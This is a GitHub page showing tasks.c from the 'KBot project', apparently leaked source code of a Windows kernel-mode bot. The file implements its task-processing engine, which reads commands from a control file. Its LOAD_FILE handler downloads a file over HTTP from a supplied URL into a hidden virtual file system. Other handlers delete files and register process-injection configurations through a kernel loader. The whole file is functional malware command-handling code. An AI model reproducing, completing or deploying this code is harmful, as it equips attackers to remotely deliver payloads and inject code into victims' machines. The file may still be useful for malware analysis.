-
Notifications
You must be signed in to change notification settings - Fork 158
/
Copy pathtasks.c
273 lines (228 loc) · 5.82 KB
/
tasks.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// KBot project.
//
// module: tasks.c
// $Revision: 35 $
// $Date: 2012-08-23 16:20:51 +0400 (Чт, 23 авг 2012) $
// description:
// Tasks processing engine.
#include <Ntifs.h>
#include <ntddk.h>
#include <ntimage.h>
#define NTSTRSAFE_NO_DEPRECATE
#include <ntstrsafe.h>
#include "version.h"
#include "ntddkex.h"
#include "kdbg.h"
#include "bklib.h"
#include "..\fslib\fslib.h"
#include "..\bkdrv\bkdrv.h"
#include "..\kloader\kloader.h"
#include "kbot.h"
#include "kbotinc.h"
#include "tasks.h"
//
// Processes LOAD_FILE command.
// Loads a file by HTTP from the specified URL and saves it into the VFS with the specified name.
//
static NTSTATUS CmdLoadFile(
PCHAR CmdLine
)
{
PCHAR Buffer, Host, Uri, URL = NULL, Name = NULL;
ULONG bSize, NumberParams = ParseCommandLine(CmdLine, &URL, &Name, NULL, NULL);
NTSTATUS ntStatus = STATUS_INVALID_PARAMETER;
ANSI_STRING aName;
do // not a loop
{
if (NumberParams == 0)
break;
if (Name == NULL || *Name == 0)
{
if (Name = strrchr(URL, '/'))
Name += 1;
}
if (!Name)
break;
// Splitting URL into Host and URI
if (Uri = strchr(URL, '/'))
{
if (Uri[1] == '/')
{
URL = Uri + 2;
Uri = strchr(URL, '/');
}
if (!Uri)
break;
} // if (Uri = strchr(URL, '/'))
else
break;
if (!(Host = KBotAlloc((ULONG)(Uri - URL) + 1)))
{
ntStatus = STATUS_INSUFFICIENT_RESOURCES;
break;
}
*Uri = 0;
strcpy(Host, URL);
*Uri = '/';
ntStatus = KBotRequest(Host, Uri, szGet, &Buffer, &bSize);
KBotFree(Host);
if (!NT_SUCCESS(ntStatus) || bSize == 0)
break;
RtlInitAnsiString(&aName, Name);
ntStatus = FsSaveFile(&aName, Buffer, bSize);
KBotFree(Buffer);
} while(FALSE);
return(ntStatus);
}
/*
static BOOL WriteAllBytes( const char* fileName, char* data, int c_data )
{
UNICODE_STRING uniFileName;
OBJECT_ATTRIBUTES attr;
WCHAR wFileName[260];
HANDLE file;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus;
RtlStringCbPrintfW( wFileName, sizeof(wFileName), L"\\??\\%s\\", fileName );
RtlInitUnicodeString( &uniFileName, wFileName );
InitializeObjectAttributes( &attr, &uniFileName, OBJ_CASE_INSENSITIVE, 0, 0 );
ntStatus = ZwCreateFile( &file, GENERIC_WRITE, &attr, &ioStatus, 0, FILE_ATTRIBUTE_NORMAL, 0, FILE_SUPERSEDE, 0, 0, 0 );
if( ntStatus == STATUS_SUCCESS )
{
return TRUE;
}
return FALSE;
}
static NTSTATUS CmdReadFile( PCHAR CmdLine )
{
PCHAR nameFile, name;
ULONG NumberParams;
NTSTATUS ntStatus = STATUS_INVALID_PARAMETER;
char tempFolder[260];
int lenTempFolder;
NumberParams = ParseCommandLine(CmdLine, &nameFile, &name, NULL, NULL);
// lenTempFolder = GetTempPathA( sizeof(tempFolder), tempFolder );
// LoadLibraryA("kernel32.dll");
if( lenTempFolder )
{
}
//FsRtlGetFileSize
return ntStatus;
}
*/
//
// Processes DELETE_FILE command.
// Deletes the specified file from the VFS.
//
static NTSTATUS CmdDeleteFile(
PCHAR CmdLine
)
{
NTSTATUS ntStatus = STATUS_INVALID_PARAMETER;
PCHAR Name = NULL;
ULONG NumberParams = ParseCommandLine(CmdLine, &Name, NULL, NULL, NULL);
ANSI_STRING aName;
if (NumberParams != 0 && Name != NULL && *Name != 0)
{
RtlInitAnsiString(&aName, Name);
ntStatus = FsDeleteFile(&aName);
}
return(ntStatus);
}
static NTSTATUS CmdSetInject(
PCHAR CmdLine
)
{
return(KldrAddInjectConfig(CmdLine));
}
static NTSTATUS ProcessCommandLine(
PCHAR CmdLine
)
{
PCHAR Command, Parameters = NULL;
ULONG CmdLen;
ULONG CmdHash = 0;
NTSTATUS ntStatus = STATUS_INVALID_PARAMETER;
KdPrint(("KBOT: processing command line \"%s\"\n", CmdLine));
do // not a loop
{
if (!ParseCommandLine(CmdLine, &Command, &Parameters, NULL, NULL) || Parameters == NULL)
break;
strtrim(Parameters, " =");
CmdLen = strlen(Command);
CmdHash = BkCRC32(Command, CmdLen);
switch(CmdHash)
{
case CRC_LOAD_FILE:
ntStatus = CmdLoadFile(Parameters);
break;
case CRC_DELETE_FILE:
ntStatus = CmdDeleteFile(Parameters);
break;
case CRC_SET_INJECT:
ntStatus = CmdSetInject(Parameters);
break;
case CRC_READ_FILE:
// ntStatus = CmdReadFile(Parameters);
break;
default:
KdPrint(("KBOT: Unknown command\n"));
break;
} // switch(CmdHash)
} while(FALSE);
#if _DBG
if (NT_SUCCESS(ntStatus))
KdPrint(("KBOT: command processed\n"));
else if (ntStatus == STATUS_INVALID_PARAMETER)
KdPrint(("KBOT: invalid command line\n"));
else
KdPrint(("KBOT: command failed, status: %x\n", ntStatus));
#endif
return(ntStatus);
}
NTSTATUS ProcessTaskFile(
PCHAR Buffer,
ULONG bSize,
BOOL bMustSucceed
)
{
PCHAR NewBuffer, CmdLine;
ULONG i = 0;
NTSTATUS ntStatus = STATUS_INSUFFICIENT_RESOURCES;
// Allocating new buffer for the task file and adding extra NULL-chat to it's end.
if (NewBuffer = KBotAlloc(bSize + 1))
{
memcpy(NewBuffer, Buffer, bSize);
NewBuffer[bSize] = 0;
Buffer = NewBuffer;
CmdLine = NewBuffer;
while(Buffer[i])
{
while(Buffer[i])
{ // check if there are end of line (EOFL) chars
if (Buffer[i] == 10 || Buffer[i] == 13)
{ // replace all EOFL chars with 0
do
{
Buffer[i] = 0;
i+=1;
} while(Buffer[i] == 10 || Buffer[i] == 13);
break;
}
i+=1;
} // while(CmdStrings[i])
CmdLine = strtrim(CmdLine, " \t");
if (*CmdLine != ';')
{
// Process single command
ntStatus = ProcessCommandLine(CmdLine);
if (!NT_SUCCESS(ntStatus) && bMustSucceed)
break;
}
CmdLine = &Buffer[i];
} // while(CmdStrings[i])
KBotFree(NewBuffer);
} // if (CmdLine = KBotAlloc(bSize + 1))
return(ntStatus);
}